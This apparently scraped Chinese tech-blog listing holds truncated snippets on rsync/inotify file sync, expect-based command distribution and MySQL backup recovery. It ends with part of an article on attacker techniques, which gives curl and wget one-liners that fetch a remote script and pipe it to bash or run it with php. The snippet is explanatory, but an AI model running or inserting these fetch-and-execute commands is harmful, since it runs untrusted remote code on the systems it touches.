rsync

rsync + inotify 实时同步

南楼画角 提交于 2020-11-08 18:58:49
1. 前言   2 台 nginx 需要做集群, 静态文件和php文件都在nginx服务器本地。   有三种方案:     (1)NFS     (2)Rsync + inotify     (3)共享存储服务器   第一种:当 nfs server端宕机,全部完蛋,第三种:共享存储服务器单点,如果宕机也完蛋。因此采用 第二种方式:rsync + inotify 2. 环境配置   2.1 环境介绍   系统:Centos 7.2 x64   server端:192.168.118.14   client端(同步端):192.168.118.15   2.2 搭建过程   默认防火墙和selinux 关闭,这里采用 http web服务器测试。    client 端(同步端)配置: [root@ 192.168 . 118.15 ~]# yum install rsync httpd - y [root@ 192.168 . 118.15 ~]# egrep ^[a-z] /etc/ rsyncd.conf uid = root # 设置rsync运行权限为root gid = root # 设置rsync运行权限为root use chroot = no # 默认为true,修改为no,增加对目录文件软连接的备份 max connections = 200 # 最大连接数

inotify+rsync 实时同步

痴心易碎 提交于 2020-11-08 09:25:40
服务器A 192.168.28.1 服务器B 192.168.28.2 把A服务器的/www/的数据备份到B服务器的/www/上 A,B服务器都要安装rsync 一般系统会默认安装了 [root@web1~]# rpm -q rsync rsync-2.6.8-3.1 在rsync-daemon认证方式下,默认监听毒tcp的873端口 在rsync-daemon认证下,rsync可以把密码写入到一个文件中。 注意:被同步端(B服务器)的rsync必须启动,配置文件。同步端(A服务器)可以不起动服务,但必须有这个应用。 B服务器上操作,手动生动配置文件和密码文件 新建配置文件: [root@cbd88 ~]# vi /etc/rsyncd.conf #Rsync server #created by yty 21:12 2015-05-23 ##rsyncd.conf start## uid = root gid = root use chroot = no max connections = 2000 timeout = 600 pid file = /var/run/rsyncd.pid lock file = /var/run/rsync.lock log file = /var/log/rsyncd.log ignore errors read only = false

rsync+crontab每分钟同步文件

老子叫甜甜 提交于 2020-10-31 13:33:34
环境: 192.168.172.131服务端 192.168.172.133客户端 服务端: 1 yum -y install rsync 2 mkdir /root/abc cd /root/abc touch aaa 3 vim /etc/rsyncd.conf uid = nobody gid = nobody use chroot = yes address = 192.168.172.131 port 873 log file = /var/log/rsyncd.log pid file = /var/run/rsyncd.pid hosts allow = 192.168.172.0/24 [wwwroot] path = /root/abc comment = Document Root of www.51xit.top read only =no dont comperss = *.gz *.bz2 *.tgz *.zip *.rar *.z auth users =backuper secrets file = /etc/rsyncd_users.db 4 cat /etc/rsyncd_users.db backuper:pwd123 chmod 600 /etc/rsyncd_users.db systemctl stop firewalld 5 rsync

inotify+rsync实时备份,inotify+rsync同步备份mysql数据模拟,inotify功能和实现原理,rsync文件实时同步-~@Twang

江枫思渺然 提交于 2020-10-30 16:21:48
inotify+rsync实时备份 环境准备 简介 原理 A上操作 1、安装EPEL 2、安装inotify和rsync服务 3、修改rsync的配置文件 4、创建目录 5、建立rsync用户名和密码文件,加权限 6、启动服务,验证端口 B上操作 7、安装EPEL 8、安装inotify和rsync服务 9、设置客户端密码文件,修改权限 10、编写脚本 11、创建目录 12、执行脚本 13、进入相应的目录,创建文件 14、切回到A上查验 环境准备 centos7两台,关闭防火墙和selinux A 备份端——192.168.112.153 【服务端】 B 备份源——192.168.112.172【客户端】 简介 Inotify 是一种强大的、细粒度的、异步的文件系统事件监控机制,linux内核从2.6.13起,加入了Inotify支持,通过Inotify可以监控文件系统中添加、删除,修改、移动等各种细微事件,利用这个内核接口,第三方软件就可以监控文件系统下文件的各种变化情况,而inotify-tools就是这样的一个第三方软件 rsync具有安全性高、备份迅速、支持增量备份等优点,通过rsync可以解决对实时性要求不高的数据备份需求,但是rsync不能实时的去监测、同步数据 原理 Inotify只需要要按照部署在同步的客户端,当监控的文件有变化触动 rsync脚本来同步 A上操作

分发系统介绍&expect脚本远程登录&expect脚本远程执行命令&expect脚本传递参数

旧时模样 提交于 2020-10-28 17:59:02
20.27 分发系统介绍 应用场景 企业中随之业务的逐渐增大,后端所使用的编程语言是php,系统为LAMP/LNMP架构,需要将代码上传到服务器中;代码会不断的迭代,这就需要在业务服务器上更新代码,一台一台地手动迭代很不现实,这就需要建立一个分发系统,将代码自动分发到各个服务器上,实现自动化更新! 定义 所谓的分发系统,实际上是通过expect这种脚本语言实现的。 准备工作 这个分发系统首先要准备一台模板机,更新好代码,同时需要知道推送的多台服务器的用户及密码,最后通过编写expect脚本,借助于rsync,登录到各个服务器,并将代码推送过去。该方法同样支持命令的分发! 20.28 expect脚本远程登录 安装软件包 yum install -y expect 编写远程登录脚本 [root@dr1 sbin]# cd /usr/local/sbin [root@dr1 sbin]# vi 1.expect #! /usr/bin/expect set host "192.168.88.10" ##定义目标地址变量,变量内容为目标主机的IP地址 set passwd "123456" ##定义目标密码变量,变量内容为目标主机的登录密码 spawn ssh root@$host ##执行shell命令,以root用户远程登录 expect { ##expect代码段用于执行交互

连延迟从库都用不上了,MySQL备份还能恢复吗?

為{幸葍}努か 提交于 2020-10-18 02:39:30
​背景 首先交代一下背景,由于某些因素的限制,我们公司目前的备份策略采用的是隔天全备的方案,增量备份则使用的是binlog server的方式,那么如何快速恢复就成为了我们需要思考的问题。 正文 恢复需求 根据我以往的一些经验来说,通常需要从备份恢复数据的场景有如下几种: 被误删库了; 被误删表了,类型为TRUNCATE或者DROP; 被误删列了,类型为ALTER ... DROP COLUMN; 被误删数据了,类型为DELETE或者UPDATE或者REPLACE; 表空间损坏或出现坏块了。 根据场景来说,我们可以大致分为两类: 第一类为不可逆恢复,也就是通常的DDL,比如上述的1、2、3、5等场景; 第二类为可逆的恢复,通常可以利用binlog进行回滚(要求binlog格式为ROW,binlog_image为FULL),也就是对应上述的场景4。 对于第二类的恢复需求一般来说都比较容易处理,可以利用binlog回滚工具,例如业界比较著名的有binlog2sql以及MyFlash等,这里暂不赘述,我们重点来讨论第一类需求。 为了达到快速恢复的目的,业界DBA经常会采用的方式就是部署一个延迟从库来解决,我们公司目前所有的核心DB都部署了延迟从库。但是即便有了延迟从库,假设我们错过了延迟的时间,或者在后续利用延迟从库恢复的时候指定错了位点,导致了误删DDL同样应用到了从库

rsync实现两个服务器同步

拥有回忆 提交于 2020-10-11 11:25:36
rsync常用选项 -a 包含-rtplgoD -r 同步目录时要加上,类似cp时的-r选项 -v 同步时显示一些信息,让我们知道同步的过程 -l 保留软连接 -L 加上该选项后,同步软链接时会把源文件给同步 -p 保持文件的权限属性 -o 保持文件的属主 -g 保持文件的属组 -D 保持设备文件信息 -t 保持文件的时间属性 --delete 删除DEST中SRC没有的文件 --exclude 过滤指定文件,如--exclude “logs”会把文件名包含logs的文件或者目录过滤掉,不同步 -P 显示同步过程,比如速率,比-v更加详细 -u 加上该选项后,如果DEST中的文件比SRC新,则不同步 -z 传输时压缩 实战:使用密钥实现无交互备份。做成脚本,将A服务器上192.168.1.132的数 据,定期备份到B192.168.1.133上 1、在B服务器上 [root@localhost home]# ssh-keygen 使用该命令生成key 密钥,用ssh-copy-id root@192.168.1.132 拷贝到要连接的机器 查看密钥文件:[root@localhost ~]# cd /root/.ssh/ 需密码登陆删除/root/.ssh/id_rsa即可 rsync通过ssh方式同步 实例1: rsync -avP 192.168.1.132:/tmp

云计算之Linux全栈目录(第五节RPM软件包管理,yum软件包仓库,命令补充)

旧时模样 提交于 2020-10-07 02:52:41
学习Linux必须经历的三个阶段 1.ADMIN(云计算系统管理) 2.ENGINEER(云计算应用管理 ) 3.SERVICES(系统,服务管理进阶) 如果你爱的人突然有一天和你说分手,那么有几种可能?–Tuge 目录总结 学习Linux必须经历的三个阶段 One.ADMIN(云计算系统管理) Two.ENAINEER(云计算应用管理) Three.SERVICES(系统服务管理进阶) 五、RPM软件包管理,yum软件包仓库,命令补充 RPM软件包管理 RPM包管理机制 常见的安装位置 查询软件信息 查询已安装的软件 查询待安装的软件包 安装卸载软件包 软件依赖关系 yum软件包管理 准备yum软件仓库 yum机制概述 准备yum本地仓库 配置yum客户端 yum配置解析 .repo配置文件示例 yum命令工具 查询软件信息 安装卸载软件包 清空本地yum缓存 命令补充 查看命令的简要要说明 使用man手册 使用技巧 历史命令 统计文件占用空间 系统时间 制作连接文件 六.用户管理,组账号管理,计划任务 重要的事情说三遍 One.ADMIN(云计算系统管理) 1.云计算网络之基础 2.linux简介安装,基本操作 3.命令行基础,目录及文件管理,文本内容操作 4.归档压缩,重定向,管道,find精确查找,vim高级应用 5.RPM软件包管理,yum软件包仓库,命令补充 6

seafile 服务迁移

﹥>﹥吖頭↗ 提交于 2020-10-04 04:28:35
新服务器安装好seafile并正常 新旧服务器stop seafile 和 seahub 进程 分两步: 1、数据库 数据迁移 数据库导出,共3个 ccnet-db \ seafile-db \ seahub-db sudo mysqldump -u root -p ccnet-db > ccnet-db.sql sudo mysqldump -u root -p seafile-db > seafile-db.sql sudo mysqldump -u root -p seahub-db > seahub-db.sql 数据库导入 sudo mysql -u root -p ccnet-db < ccnet-db.sql sudo mysql -u root -p seafile-db < seafile-db.sql sudo mysql -u root -p seahub-db < seahub-db.sql 数据文件迁移 在原服务器操作,将数据通过网络推送到新服务器指定位置 (将原数据目录推送到新服务器seafile目录下) `sudo rsync -av /opt/seafile/seafile-data root@192.168.0.100:/opt/seafile/``` 来源: oschina 链接: https://my.oschina.net/u/4409765

通过命令下载执行恶意代码的几种姿势

送分小仙女□ 提交于 2020-09-29 15:29:00
本文转载自微信公众号「Bypass」,作者Bypass。转载本文请联系Bypass公众号。 在 过程中, 者往往需要通过命令下载执行恶意代码,实现信息收集、持久化、权限提升、防御绕过、提取凭证、横向移动、数据渗出等操作。 在目标主机执行恶意代码,可以分为上传/下载并执行恶意代码和无文件远程恶意代码执行。接下来,我们来总结一下Linux和Windows中下载和执行恶意代码的一些姿势。 一、Linux 远程恶意代码执行 01、curl 以用curl的方式执行http页面上的shell脚本,无需download,在本地机器上直接执行。 方式1:curl -fsSL http://192.168.99.19:8080/test.sh | bash 方式2:bash < <( curl http://192.168.99.19:8080/test.sh ) 02、wget 执行wget命令远程下载恶意程序。 方式1:wget -q -O- http://192.168.99.19:8080/test.sh | bash 方式2:wget http://192.168.99.19:8080/shell.txt -O /tmp/x.php && php /tmp/x.php curl+wget合并,实现无文件远程恶意代码执行。 bash -c '(curl -fsSL http://192